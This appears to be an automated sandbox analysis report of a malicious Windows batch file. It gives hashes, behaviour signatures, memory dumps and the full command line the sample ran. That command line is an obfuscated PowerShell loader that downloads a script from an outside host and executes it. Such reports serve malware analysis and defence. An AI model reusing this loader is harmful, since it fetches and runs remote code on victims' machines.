Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    20-02-2024 05:43

General

  • Target

    68d81cc60a1f99e45561f2c68cdc955c5601942032444234458018a541c482e7.bat

  • Size

    759B

  • MD5

    97ba5c35c67fbb4979b3ae73d05d6005

  • SHA1

    b854decd7517bb5162d3a4d1a5da86d9fc6189f9

  • SHA256

    68d81cc60a1f99e45561f2c68cdc955c5601942032444234458018a541c482e7

  • SHA512

    55b20b55562de161ddfdf8b8e3fa0244201ae04c166700502c72fe94950580ee06a37723293e901274d2b0c28dddfd40c2f06c83f39763eeab285f55506bbeb8

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\68d81cc60a1f99e45561f2c68cdc955c5601942032444234458018a541c482e7.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','Str','ing';$rotJ=($rot -join '');$bnt='https','://antuofermo.it/G12.txt';$bntJ=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bntJ);z($mv)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2936

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/2936-4-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

    Filesize

    2.9MB

  • memory/2936-6-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

    Filesize

    9.6MB

  • memory/2936-7-0x0000000002AC0000-0x0000000002B40000-memory.dmp

    Filesize

    512KB

  • memory/2936-5-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

    Filesize

    32KB

  • memory/2936-8-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

    Filesize

    9.6MB

  • memory/2936-9-0x0000000002AC0000-0x0000000002B40000-memory.dmp

    Filesize

    512KB

  • memory/2936-10-0x0000000002AC0000-0x0000000002B40000-memory.dmp

    Filesize

    512KB

  • memory/2936-11-0x0000000002AC0000-0x0000000002B40000-memory.dmp

    Filesize

    512KB

  • memory/2936-12-0x0000000002AC0000-0x0000000002B40000-memory.dmp

    Filesize

    512KB

  • memory/2936-13-0x000007FEF51A0000-0x000007FEF5B3D000-memory.dmp

    Filesize

    9.6MB